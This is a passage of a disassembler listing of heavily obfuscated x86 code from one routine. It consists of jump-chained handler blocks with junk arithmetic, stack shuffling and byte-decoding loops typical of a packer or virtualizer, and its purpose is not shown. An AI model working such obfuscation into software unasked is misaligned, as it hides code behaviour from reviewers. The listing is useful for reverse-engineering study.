		push	edi
		mov	edi, 2E7E2E16h
		jmp	loc_5982EF
; ---------------------------------------------------------------------------


loc_59C44A:				; CODE XREF: sub_57DD3A+234CAj
		add	bl, ah
		sub	bl, 0E1h
		pop	ax
		sub	bl, al
		jmp	loc_5960E5
; ---------------------------------------------------------------------------


loc_59C458:				; CODE XREF: sub_57DD3A+1B8D9j
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_59FF73
; ---------------------------------------------------------------------------


loc_59C46C:				; CODE XREF: sub_57DD3A+123AFj
		mov	ebx, [esp+42h+var_42]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp+3Eh+var_3E]
		jmp	loc_590B8C
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp+42h+var_42], edx
		push	ecx
		push	edx
		mov	dl, 0F7h
		mov	cl, 0E1h
		sub	cl, dl
		push	[esp+4Ah+var_4C+2]
		pop	edx
		push	edi
		jmp	loc_595A7A
; ---------------------------------------------------------------------------


loc_59C4AD:				; CODE XREF: sub_57DD3A+1FBA3j
		xor	edi, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		shl	word ptr [esp+4Eh+var_50+2], cl
		pushf
		jmp	loc_590F6C
; ---------------------------------------------------------------------------


loc_59C4BD:				; CODE XREF: sub_57DD3A+16842j
		not	[esp+50h+var_50]
		jmp	loc_596299
; ---------------------------------------------------------------------------


loc_59C4C5:				; CODE XREF: sub_57DD3A+13974j
		xchg	eax, [esp+2Eh+var_2E]
		jmp	loc_59156C
; ---------------------------------------------------------------------------


loc_59C4CD:				; CODE XREF: sub_57DD3A+17862j
		shl	eax, 5
		jmp	loc_59CC67
; ---------------------------------------------------------------------------


loc_59C4D5:				; CODE XREF: sub_57DD3A+11416j
		push	ebx
		mov	bl, dl
		jmp	loc_59D911
; ---------------------------------------------------------------------------


loc_59C4DD:				; CODE XREF: sub_57DD3A+2461Aj
		sub	esi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 3C051ABAh
		add	ecx, 56F24C78h
		xor	esi, ecx
		jmp	loc_5915F0
; ---------------------------------------------------------------------------


loc_59C4F3:				; CODE XREF: sub_57DD3A+16FE7j
		and	ebx, 46615A65h
		push	ecx
		mov	ecx, 29FD7D29h
		xor	ecx, 4579436Dh
		jmp	loc_5A2A83
; ---------------------------------------------------------------------------


loc_59C50A:				; CODE XREF: sub_57DD3A+2495Ej
		add	eax, 12935CFEh
		jmp	loc_58E516
; ---------------------------------------------------------------------------


loc_59C514:				; CODE XREF: sub_57DD3A+1AFA5j
		mov	eax, esp
		push	ebp
		jmp	loc_591EFA
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		push	24C8h
		mov	[esp+1Ch+var_1E+2], eax
		jmp	loc_592091
; ---------------------------------------------------------------------------


loc_59C52B:				; CODE XREF: sub_57DD3A+1A506j
		xor	esi, 8243225h
		push	ecx
		jmp	loc_59038A
; ---------------------------------------------------------------------------


loc_59C537:				; CODE XREF: sub_57DD3A+235ABj
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_59CC59
; ---------------------------------------------------------------------------


loc_59C551:				; CODE XREF: sub_57DD3A+130B4j
		push	355Dh
		mov	[esp+60h+var_60], ebx
		pop	ebp
		jmp	loc_5A01D8
; ---------------------------------------------------------------------------


loc_59C55F:				; CODE XREF: sub_57DD3A+1FAE2j
		xchg	edx, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		add	esi, 4
		jmp	loc_59837E
; ---------------------------------------------------------------------------


loc_59C570:				; CODE XREF: sub_57DD3A+1D2F9j
		mov	eax, [esp+58h+var_58]
		add	esp, 4
		push	ecx
		jmp	loc_59D5B9
; ---------------------------------------------------------------------------


loc_59C57C:				; CODE XREF: sub_57DD3A+122F3j
		mov	eax, 0D6A2EF57h
		sub	esi, eax
		pop	eax
		push	edx
		jmp	loc_59A319
; ---------------------------------------------------------------------------


loc_59C58A:				; DATA XREF: sub_57DD3A+1033Eo
		push	6E4Fh
		mov	[esp+50h+var_50], edx
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59C597:				; CODE XREF: sub_57DD3A+138E6j
		push	edi
		jmp	loc_5948EB
; ---------------------------------------------------------------------------


loc_59C59D:				; CODE XREF: sub_57DD3A+12569j
		add	esp, 4
		push	edx
		mov	edx, 12EC66D9h
		sub	eax, edx
		pop	edx
		push	edi
		mov	edi, 75EA7AB4h
		sub	eax, 71F62C3Fh
		jmp	loc_59BE86
; ---------------------------------------------------------------------------


loc_59C5B9:				; CODE XREF: sub_57DD3A+1935Ej
		mov	esp, [esp+0]
		mov	[esp+0], eax
		xchg	esi, [esp+0]
		jmp	loc_592D1B
; ---------------------------------------------------------------------------


loc_59C5C7:				; CODE XREF: sub_57DD3A+12AB7j
		add	eax, esi
		pop	esi
		jmp	loc_5A1DCB
; ---------------------------------------------------------------------------


loc_59C5CF:				; CODE XREF: sub_57DD3A+2384Aj
		xor	ecx, 3104F5Fh
		dec	ecx
		add	ecx, 196BE213h
		sub	ebp, ecx
		mov	ecx, [esp+14h+var_16+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_5941DD
; ---------------------------------------------------------------------------


loc_59C5F6:				; CODE XREF: sub_57DD3A+217C5j
		mov	ecx, [esp+14h+var_16+2]
		push	2A72h
		mov	[esp+18h+var_1A+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_5A105C
; ---------------------------------------------------------------------------


loc_59C615:				; CODE XREF: sub_57DD3A+10B96j
		sub	eax, 98B1DA1h
		add	eax, 1AF7016Bh
		push	21BDh
		jmp	loc_59765A
; ---------------------------------------------------------------------------


loc_59C629:				; CODE XREF: sub_57DD3A+1EE23j
		mov	[esp+6+var_8+2], ebp
		jmp	loc_58F1DB
; ---------------------------------------------------------------------------


loc_59C631:				; CODE XREF: sub_57DD3A+185D8j
		sub	esi, 6CA75923h
		dec	esi
		add	esi, 2BB1971Ch
		jmp	loc_59F250
; ---------------------------------------------------------------------------


loc_59C643:				; CODE XREF: sub_57DD3A+17411j
		add	esp, 4
		push	976h
		mov	[esp+5Ch+var_5C], esi
		xor	[esp+5Ch+var_5C], 2B0672EBh
		push	[esp+5Ch+var_5C]
		pop	edi
		jmp	loc_58F195
; ---------------------------------------------------------------------------


loc_59C65E:				; CODE XREF: sub_57DD3A+1586Fj
		add	esi, 2
		xchg	esi, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		push	edi
		sub	esp, 4
		mov	[esp+4Ch+var_4C], esp
		add	[esp+4Ch+var_4C], 4
		jmp	loc_594547
; ---------------------------------------------------------------------------


loc_59C67A:				; CODE XREF: sub_57DD3A+240D7j
		push	ecx
		push	[esp+50h+var_4C]
		pop	ecx
		pop	[esp+50h+var_50]
		mov	esp, [esp+4Ch+var_4C]
		mov	[esp+4Ch+var_4C], edx
		sub	esp, 4
		mov	[esp+50h+var_50], eax
		push	1869h
		jmp	loc_5A2B0B
; ---------------------------------------------------------------------------


loc_59C699:				; CODE XREF: sub_57DD3A+1A12Dj
		not	bh
		mov	dh, bh
		pop	bx
		shr	dh, 8
		shl	dh, 1
		push	93Eh
		mov	[esp+30h+var_32+2], eax
		mov	al, 14h
		shr	al, 3
		and	al, 0AEh
		and	al, 89h
		sub	al, 34h
		sub	dh, al
		push	[esp+30h+var_32+2]
		pop	eax
		add	esp, 4
		shl	dh, 6
		add	dh, 4Bh
		add	al, dh
		jmp	loc_5A2359
; ---------------------------------------------------------------------------


loc_59C6CD:				; CODE XREF: sub_57DD3A+21431j
		and	ebx, 7B7A7825h
		shl	ebx, 4
		or	ebx, 548E0891h
		sub	ebx, 4F1D280Ah
		sub	ebx, 0E3F9FBEEh
		add	eax, ebx
		pop	ebx
		push	small word ptr [eax]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59C6F3:				; CODE XREF: sub_57DD3A+1FDCCj
		pop	edx
		push	edx
		push	esi
		push	6B757EF1h
		pop	esi
		sub	esi, 0FA6F57A3h
		jmp	loc_599711
; ---------------------------------------------------------------------------


loc_59C707:				; CODE XREF: sub_57DD3A+25113j
		pop	ebx
		mov	ebx, [esp+2Ah+var_2A]
		add	esp, 4
		shl	ebp, 5
		sub	esp, 4
		mov	[esp+2Ah+var_2A], eax
		mov	eax, 0E530D279h
		jmp	loc_59B980
; ---------------------------------------------------------------------------


loc_59C724:				; CODE XREF: sub_57DD3A+153BBj
		sub	ebp, 6C9E0BB5h
		jmp	loc_595FDA
; ---------------------------------------------------------------------------


loc_59C72F:				; CODE XREF: sub_57DD3A+12764j
		mov	ecx, 126A40F4h
		shr	ecx, 5
		dec	ecx
		shl	ecx, 6
		xor	ecx, 52A94BBh
		push	eax
		mov	eax, ecx
		mov	edx, eax
		pop	eax
		pop	ecx
		mov	ebp, edx
		pop	edx
		add	ebp, 709D0B58h
		push	27E8h
		mov	[esp+1Ah+var_1A], esi
		mov	esi, 2413213Bh
		jmp	loc_59DB6E
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+1Ah+var_1A]
		push	esi
		push	39E5h
		mov	[esp+22h+var_22], esp
		add	[esp+22h+var_22], 4
		push	[esp+22h+var_22]
		mov	esi, [esp+26h+var_26]
		sub	esp, 4
		mov	[esp+2Ah+var_2A], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_592B63
; ---------------------------------------------------------------------------


loc_59C793:				; CODE XREF: sub_57DD3A+14672j
		sub	esi, 4E0F3D08h
		add	esi, 121957DCh
		jmp	loc_595529
; ---------------------------------------------------------------------------


loc_59C7A4:				; CODE XREF: sub_57DD3A+1D79Cj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+50h+var_50]
		pop	esp
		push	[esp+4Ch+var_4C]
		mov	eax, [esp+50h+var_50]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+54h+var_54]
		jmp	loc_59423E
; ---------------------------------------------------------------------------


loc_59C7CB:				; CODE XREF: sub_57DD3A+24CA8j
		mov	ebp, esi
		pop	esi
		jmp	loc_5A0470
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_59A70A
; ---------------------------------------------------------------------------


loc_59C7D9:				; CODE XREF: sub_57DD3A+1556Aj
		add	ebx, 6425245Bh
		jmp	loc_5A1CF6
; ---------------------------------------------------------------------------


loc_59C7E4:				; CODE XREF: sub_57DD3A+1A53Cj
		pop	ebx
		add	edi, 4
		push	edi
		push	[esp+3Eh+var_3A]
		pop	edi
		pop	[esp+3Eh+var_3E]
		pop	esp
		push	small 37Bh
		mov	word ptr [esp+38h+var_3A+2], cx
		push	ebx
		push	edx
		jmp	loc_59A00C
; ---------------------------------------------------------------------------


loc_59C801:				; CODE XREF: sub_57DD3A+1543Cj
		add	edi, esi
		pop	esi
		xchg	edi, [esp+4+var_4]
		pop	esp
		push	ebp
		push	esp
		jmp	loc_5961B9
; ---------------------------------------------------------------------------


loc_59C80F:				; CODE XREF: sub_57DD3A+1B2E5j
		push	esp
		push	[esp+18h+var_1A+2]
		mov	edx, [esp+1Ch+var_1E+2]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_591F1F
; ---------------------------------------------------------------------------


loc_59C824:				; CODE XREF: sub_57DD3A+23C0Dj
		add	edi, 101024EBh
		mov	esi, [esp+20h+var_22+2]
		jmp	loc_58FD67
; ---------------------------------------------------------------------------


loc_59C832:				; CODE XREF: sub_57DD3A+23860j
		add	esi, 1C72757Dh
		sub	esi, edi
		sub	esi, 1C72757Dh
		pop	edi
		push	7857h
		mov	[esp+20h+var_22+2], edx
		mov	edx, 7FEC4466h
		jmp	loc_592306
; ---------------------------------------------------------------------------


loc_59C853:				; CODE XREF: sub_57DD3A+1DE51j
		xor	[esp+32h+var_32], esi
		xor	esi, [esp+32h+var_32]
		pop	esp
		jmp	loc_59A193
; ---------------------------------------------------------------------------


loc_59C85F:				; CODE XREF: sub_57DD3A+20959j
		push	7AAEh
		mov	[esp+32h+var_32], edx
		push	ebx
		mov	bh, 37h
		mov	dh, bh
		mov	ebx, [esp+36h+var_36]
		jmp	loc_596012
; ---------------------------------------------------------------------------


loc_59C874:				; CODE XREF: sub_57DD3A+2123Aj
		add	eax, 6E7003EEh
		pop	ebp
		jmp	loc_5A1D9A
; ---------------------------------------------------------------------------


loc_59C87F:				; CODE XREF: sub_57DD3A+1C64Aj
		pop	edx
		xor	ecx, ebp
		jmp	loc_590A67
; ---------------------------------------------------------------------------


loc_59C887:				; CODE XREF: sub_57DD3A+18586j
		xor	ecx, [esp+4Eh+var_50+2]
		jmp	loc_59194A
; ---------------------------------------------------------------------------


loc_59C88F:				; CODE XREF: sub_57DD3A+14EBEj
		mov	[esp+1Ah+var_1A], ebp
		mov	ebp, 63041B37h
		jmp	loc_5A1638
; ---------------------------------------------------------------------------


loc_59C89C:				; CODE XREF: sub_57DD3A+1788Aj
		sub	edx, 5EE7084Dh
		sub	edx, esi
		jmp	loc_5965E3
; ---------------------------------------------------------------------------


loc_59C8A9:				; CODE XREF: sub_57DD3A+1FDE5j
		sub	ebx, 4
		xchg	ebx, [esp+58h+var_58]
		jmp	loc_5A0BE5
; ---------------------------------------------------------------------------


loc_59C8B7:				; CODE XREF: sub_57DD3A+243BFj
		mov	edx, 54DC76D0h
		shl	edx, 4
		xor	edx, 17396E7Fh
		push	esi
		mov	esi, edx
		jmp	loc_590A33
; ---------------------------------------------------------------------------


loc_59C8CD:				; CODE XREF: sub_57DD3A+17F77j
		mov	ch, 8
		jmp	loc_5A2656
; ---------------------------------------------------------------------------


loc_59C8D4:				; CODE XREF: sub_57DD3A+1C5F6j
		xor	eax, 2117108h
		xor	ebp, eax
		jmp	loc_59B3CD
; ---------------------------------------------------------------------------


loc_59C8E0:				; CODE XREF: sub_57DD3A+23C35j
		sub	edi, 5662334Ah
		pop	ebx
		jmp	loc_5969DA
; ---------------------------------------------------------------------------


loc_59C8EC:				; CODE XREF: sub_57DD3A+1C81Dj
		pop	esp
		jmp	loc_591398
; ---------------------------------------------------------------------------


loc_59C8F2:				; CODE XREF: sub_57DD3A+145F8j
		mov	esi, 4
		mov	eax, esi
		jmp	loc_598C3F
; ---------------------------------------------------------------------------


loc_59C8FE:				; CODE XREF: sub_57DD3A+1133Dj
		sub	ecx, 282BE6BCh
		mov	ebx, ecx
		push	[esp+38h+var_3A+2]
		mov	ecx, [esp+3Ch+var_3E+2]
		add	esp, 4
		push	edi
		jmp	loc_58F938
; ---------------------------------------------------------------------------


loc_59C918:				; CODE XREF: sub_57DD3A+11A78j
		mov	esp, [esp+46h+var_46]
		and	eax, ecx
		pop	ecx
		or	edx, eax
		shl	edx, 1
		jmp	loc_5979D0
; ---------------------------------------------------------------------------


loc_59C927:				; CODE XREF: sub_57DD3A+112A7j
		push	8862BDD3h
		pop	edi
		xor	ecx, edi
		pop	edi
		xor	eax, ecx
		pop	ecx
		xor	esi, eax
		pop	eax
		add	ebx, esi
		mov	esi, [esp+3Ah+var_3A]
		add	esp, 4
		mov	ecx, ebx
		push	[esp+36h+var_36]
		mov	ebx, [esp+3Ah+var_3A]
		jmp	loc_59EF86
; ---------------------------------------------------------------------------


loc_59C94B:				; CODE XREF: sub_57DD3A+19D9Cj
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+0Eh+var_E]
		pop	esp
		mov	[esp+6+var_8+2], ebx
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	[esp+0Ah+var_8+2], ebx
		pop	ebx
		push	[esp+6+var_8+2]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A30D3
; ---------------------------------------------------------------------------


loc_59C980:				; CODE XREF: sub_57DD3A+201E8j
		add	edi, ebx
		sub	edi, 1A7902B2h
		push	516Eh
		jmp	loc_5A12FD
; ---------------------------------------------------------------------------


loc_59C992:				; CODE XREF: sub_57DD3A+1B81Bj
		sub	edi, edx
		mov	edx, [esp+14h+var_16+2]
		add	esp, 4
		mov	ecx, edi
		jmp	loc_5A2F64
; ---------------------------------------------------------------------------


loc_59C9A1:				; CODE XREF: sub_57DD3A+1D8C3j
		xor	bh, 0B0h
		jmp	loc_5994BE
; ---------------------------------------------------------------------------


loc_59C9A9:				; CODE XREF: sub_57DD3A+1DFB7j
		add	eax, ecx
		pop	ecx
		add	eax, 0D72195Bh
		add	eax, ecx
		push	edi
		jmp	loc_59B800
; ---------------------------------------------------------------------------


loc_59C9B9:				; CODE XREF: sub_57DD3A+14A97j
		mov	[esp+74h+var_74], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+78h+var_78], esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		jmp	loc_59B577
; ---------------------------------------------------------------------------


loc_59C9D7:				; CODE XREF: sub_57DD3A+243C7j
		mov	ch, 0D5h
		neg	ch
		push	ebx
		mov	bl, 71h
		jmp	loc_59CE00
; ---------------------------------------------------------------------------


loc_59C9E3:				; CODE XREF: sub_57DD3A+21AE8j
		push	edx
		mov	edx, 4
		jmp	loc_58E57F
; ---------------------------------------------------------------------------


loc_59C9EE:				; CODE XREF: sub_57DD3A+13FB1j
		push	ecx
		push	ebx
		mov	bl, 33h
		mov	ch, 5Ch
		sub	ch, bl
		jmp	loc_5A0429
; ---------------------------------------------------------------------------


loc_59C9FB:				; CODE XREF: sub_57DD3A+1A249j
		pop	edx
		pop	[esp+12h+var_12]
		pop	esp
		mov	[esp+0], eax
		jmp	loc_58EB78
; ---------------------------------------------------------------------------


loc_59CA08:				; CODE XREF: sub_57DD3A+22EDDj
		push	eax
		mov	eax, 1D881690h
		jmp	loc_59AA59
; ---------------------------------------------------------------------------


loc_59CA13:				; CODE XREF: sub_57DD3A+250EBj
		pop	esp
		inc	edi
		jmp	loc_58EF92
; ---------------------------------------------------------------------------


loc_59CA1A:				; CODE XREF: sub_57DD3A+11253j
		pop	[esp+36h+var_36]
		pop	esp
		push	dword ptr [edi+1Ch]
		push	[esp+32h+var_32]
		mov	ecx, [esp+36h+var_36]
		add	esp, 4
		push	635Bh
		jmp	loc_59FE77
; ---------------------------------------------------------------------------


loc_59CA37:				; CODE XREF: sub_57DD3A+1D149j
		push	ecx
		push	11086EA9h
		pop	ecx
		sub	ecx, 64C55204h
		or	ecx, 2A1A25DEh
		neg	ecx
		add	ecx, 0F1236B57h
		mov	ebp, ecx
		pop	ecx
		add	eax, ebp
		pop	ebp
		push	edx
		push	ebx
		jmp	loc_5A1DD4
; ---------------------------------------------------------------------------


loc_59CA5F:				; CODE XREF: sub_57DD3A+247A1j
		add	esp, 4
		jmp	loc_59D5E0
; ---------------------------------------------------------------------------


loc_59CA6A:				; CODE XREF: sub_57DD3A+24F52j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp+22h+var_22], edi
		jmp	loc_59E2BF
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+22h+var_22]
		push	eax
		push	6DDCh
		mov	[esp+2Ah+var_2A], esp
		push	eax
		mov	eax, 4
		add	[esp+2Eh+var_2A], eax
		jmp	loc_5A32C6
; ---------------------------------------------------------------------------


loc_59CA9C:				; CODE XREF: sub_57DD3A+149D5j
		push	edx
		mov	edx, 6E9B27A7h
		xor	edx, 53545B93h
		neg	edx
		dec	edx
		xor	edx, 555E3FEEh
		sub	edx, 39E766C6h
		jmp	loc_5945C2
; ---------------------------------------------------------------------------


loc_59CABC:				; CODE XREF: sub_57DD3A+1C40Fj
		mov	edx, 62B905C2h
		add	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 531E7E0Eh
		push	ecx
		mov	ecx, 782C602Ah
		jmp	loc_5A1DB9
; ---------------------------------------------------------------------------


loc_59CAD5:				; CODE XREF: sub_57DD3A+22CAAj
		add	esp, 4
		jmp	loc_5A2A9C
; ---------------------------------------------------------------------------


loc_59CADD:				; CODE XREF: sub_57DD3A+1646Aj
		mov	ecx, 776650BAh
		xor	edi, ecx
		mov	ecx, [esp+56h+var_58+2]
		jmp	loc_590DAF
; ---------------------------------------------------------------------------


loc_59CAEC:				; CODE XREF: sub_57DD3A+17941j
		pop	ecx
		add	eax, 722D70DAh
		push	ebp
		jmp	loc_598870
; ---------------------------------------------------------------------------


loc_59CAF8:				; CODE XREF: sub_57DD3A+17DD9j
		push	4E08h
		mov	[esp+20h+var_22+2], eax
		mov	eax, 62716582h
		push	ecx
		mov	ecx, 68012D5Dh
		xor	ecx, 67050375h
		dec	ecx
		add	ecx, 250210D7h
		shr	ecx, 4
		add	ecx, 37BBA9A3h
		or	ecx, 2E7F62C8h
		jmp	loc_594B78
; ---------------------------------------------------------------------------


loc_59CB2C:				; CODE XREF: sub_57DD3A+14203j
		sub	ecx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 6771676Dh
		xor	ebx, 6A5B00E4h
		jmp	loc_597B97
; ---------------------------------------------------------------------------


loc_59CB40:				; CODE XREF: sub_57DD3A+209E2j
		sub	esp, 4
		mov	[esp+26h+var_26], edi
		mov	edi, 17A9017Dh
		dec	edi
		jmp	loc_594F57
; ---------------------------------------------------------------------------


loc_59CB54:				; CODE XREF: sub_57DD3A+1169Cj
		push	[esp+40h+var_42+2]
		pop	ebp
		push	4B6Dh
		jmp	loc_59C629
; ---------------------------------------------------------------------------


loc_59CB62:				; CODE XREF: sub_57DD3A+161DDj
		sub	edx, eax
		pop	eax
		xchg	edx, [esp+54h+var_54]
		pop	esp
		jmp	loc_58FAF9
; ---------------------------------------------------------------------------


loc_59CB6E:				; CODE XREF: sub_57DD3A+2166Bj
		xor	bl, al
		jmp	loc_59144F
; ---------------------------------------------------------------------------


loc_59CB75:				; CODE XREF: sub_57DD3A+199C6j
		mov	edi, ebx
		mov	ebx, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_595851
; ---------------------------------------------------------------------------


loc_59CB85:				; CODE XREF: sub_57DD3A+15387j
		xor	ebx, eax
		jmp	loc_59BA2D
; ---------------------------------------------------------------------------


loc_59CB8C:				; CODE XREF: sub_57DD3A+231A9j
		add	esp, 4
		push	edx
		jmp	loc_59F916
; ---------------------------------------------------------------------------


loc_59CB95:				; CODE XREF: sub_57DD3A+1A366j
		pop	dword ptr [edi+24h]
		push	[esp+58h+var_58]
		jmp	loc_59A39F
; ---------------------------------------------------------------------------


loc_59CBA0:				; CODE XREF: sub_57DD3A+13807j
		pop	esi
		add	ebx, ebp
		jmp	loc_58F9E9
; ---------------------------------------------------------------------------


loc_59CBA8:				; CODE XREF: sub_57DD3A+16758j
		add	edx, ebp
		jmp	loc_59708B
; ---------------------------------------------------------------------------


loc_59CBAF:				; CODE XREF: sub_57DD3A+20184j
		and	ebp, 63B3517h
		jmp	loc_597ADB
; ---------------------------------------------------------------------------


loc_59CBBA:				; CODE XREF: sub_57DD3A+1A240j
		inc	eax
		xor	eax, 632947B2h
		jmp	loc_59399B
; ---------------------------------------------------------------------------


loc_59CBC5:				; CODE XREF: sub_57DD3A+176C5j
		pop	esi
		jmp	loc_5A2A6B
; ---------------------------------------------------------------------------


loc_59CBCB:				; CODE XREF: sub_57DD3A+15F82j
		push	ebp
		push	[esp+20h+var_1E+2]
		pop	ebp
		pop	[esp+20h+var_22+2]
		mov	esp, [esp+1Ch+var_1E+2]
		add	esi, 4
		push	edx
		mov	edx, 2
		add	esi, edx
		pop	edx
		xchg	esi, [esp+1Ch+var_1E+2]
		pop	esp
		shr	word ptr [esp+18h+var_1A+2], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59CBF4:				; CODE XREF: sub_57DD3A+209B6j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+1Ch+var_1E+2]
		pop	esp
		mov	[esp+18h+var_1A+2], eax
		jmp	loc_5A26EA
; ---------------------------------------------------------------------------


loc_59CC0C:				; DATA XREF: sub_57DD3A+1037Ao
		mov	cx, word ptr [esp+18h+var_1A+2]
		push	7E8Ah
		mov	[esp+1Ch+var_1E+2], edx
		mov	edx, esp
		jmp	loc_5A26BA
; ---------------------------------------------------------------------------


loc_59CC1F:				; CODE XREF: sub_57DD3A+1D3E3j
		push	2E03h
		jmp	loc_59AB51
; ---------------------------------------------------------------------------


loc_59CC29:				; CODE XREF: sub_57DD3A+1F761j
		sub	edx, 7DAB32F7h
		or	edx, 5F593AB7h
		xor	edx, 5A3FBF7Bh
		sub	ecx, edx
		pop	edx
		add	ecx, esi
		add	ecx, 254444CCh
		jmp	loc_5929DE
; ---------------------------------------------------------------------------


loc_59CC4B:				; CODE XREF: sub_57DD3A+1425Bj
		xor	edx, 0EF90373h
		pop	edi
		add	ebx, edx
		jmp	loc_59939D
; ---------------------------------------------------------------------------


loc_59CC59:				; CODE XREF: sub_57DD3A+1E812j
		sub	ecx, 4
		xchg	ecx, [esp+5Ch+var_5C]
		jmp	loc_596C9C
; ---------------------------------------------------------------------------


loc_59CC67:				; CODE XREF: sub_57DD3A+1E796j
		shl	eax, 7
		push	0
		sub	[esp+58h+var_58], 1FBC3149h
		sub	[esp+58h+var_58], eax
		add	[esp+58h+var_58], 1FBC3149h
		push	[esp+58h+var_58]
		pop	eax
		add	esp, 4
		sub	eax, 5E142FFCh
		add	ebp, eax
		push	[esp+54h+var_54]
		pop	eax
		push	eax
		jmp	loc_59A5EF
; ---------------------------------------------------------------------------


loc_59CC9B:				; CODE XREF: sub_57DD3A+16345j
		sub	eax, ebx
		jmp	loc_59F1B7
; ---------------------------------------------------------------------------


loc_59CCA2:				; CODE XREF: sub_57DD3A+18A05j
		push	esi
		push	285470C3h
		jmp	loc_595C6D
; ---------------------------------------------------------------------------


loc_59CCAD:				; CODE XREF: sub_57DD3A+12D69j
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		add	ebx, 78963BD9h
		add	ebx, edi
		sub	ebx, 78963BD9h
		jmp	loc_597705
; ---------------------------------------------------------------------------


loc_59CCCA:				; CODE XREF: sub_57DD3A+22CF2j
		xor	edi, esi
		pop	esi
		jmp	loc_590006
; ---------------------------------------------------------------------------


loc_59CCD2:				; CODE XREF: sub_57DD3A+1D774j
		push	[esp+40h+var_42+2]
		push	[esp+44h+var_46+2]
		pop	esi
		jmp	loc_59BC0B
; ---------------------------------------------------------------------------


loc_59CCDE:				; CODE XREF: sub_57DD3A+1D8EDj
		neg	esi
		jmp	loc_58FB8B
; ---------------------------------------------------------------------------


loc_59CCE5:				; CODE XREF: sub_57DD3A+180E2j
		push	eax
		push	edi
		mov	edi, 3D970100h
		mov	eax, edi
		pop	edi
		or	edi, eax
		pop	eax
		jmp	loc_59AF95
; ---------------------------------------------------------------------------


loc_59CCF7:				; CODE XREF: sub_57DD3A+12B35j
		sub	esi, 4
		xchg	esi, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_5913DB
; ---------------------------------------------------------------------------


loc_59CD03:				; CODE XREF: sub_57DD3A+18697j
		mov	edi, 6CBC0AD7h
		or	edi, 5FBA65F1h
		shr	edi, 7
		xor	edi, 125127BAh
		sub	ecx, 5B93015Fh
		add	ecx, edi
		add	ecx, 5B93015Fh
		mov	edi, [esp+14h+var_16+2]
		jmp	loc_59D940
; ---------------------------------------------------------------------------


loc_59CD2D:				; CODE XREF: sub_57DD3A+18CD9j
		sub	bl, 87h
		sub	bl, cl
		add	bl, 87h
		pop	ecx
		sub	bl, 46h
		jmp	loc_5A03EE
; ---------------------------------------------------------------------------


loc_59CD3E:				; CODE XREF: sub_57DD3A+1DBD2j
		shl	ebp, 2
		push	esi
		mov	esi, 0A3861E0h
		jmp	loc_5A2D24
; ---------------------------------------------------------------------------


loc_59CD4C:				; CODE XREF: sub_57DD3A+14D57j
		mov	ebp, 169E3577h
		add	ecx, ebp
		pop	ebp
		mov	ebx, 0F25DFC88h
		add	ebx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		mov	esi, ebx
		pop	ebx
		add	esi, 5F12CB1h
		push	edi
		push	3D8550E9h
		pop	edi
		and	esi, edi
		mov	edi, [esp-6+arg_0+2]
		jmp	loc_59FA6E
; ---------------------------------------------------------------------------


loc_59CD7B:				; CODE XREF: sub_57DD3A+1A3CBj
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xor	esi, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], esi
		xor	esi, [esp+2+var_4+2]
		pop	esp
		push	324Eh
		jmp	loc_592727
; ---------------------------------------------------------------------------


loc_59CDA1:				; CODE XREF: sub_57DD3A+17001j
		and	esi, edx
		jmp	loc_5941B8
; ---------------------------------------------------------------------------


loc_59CDA8:				; CODE XREF: sub_57DD3A+13780j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+40h+var_42+2]
		pop	esp
		mov	[esp+3Ch+var_3E+2], ebp
		mov	ebp, 4
		sub	ecx, 24453AD6h
		push	ebx
		push	0C6Eh
		mov	[esp+44h+var_46+2], ebp
		mov	ebp, 24953CF0h
		xor	ebp, 0AFA0E46h
		push	ebp
		pop	ebx
		pop	ebp
		sub	ecx, 0A1B3362h
		sub	ecx, ebx
		add	ecx, 0A1B3362h
		pop	ebx
